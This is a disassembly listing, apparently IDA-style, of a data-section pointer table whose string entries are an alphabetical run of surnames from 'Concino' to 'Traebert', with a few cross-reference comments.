dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
off_444C4C dd offset aKelker ; DATA XREF: .data:00454BACo
; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine_0 ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch_0 ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay_0 ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
off_445344 dd offset aStam ; DATA XREF: .data:004549E8o
; .data:00454DA4o
; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
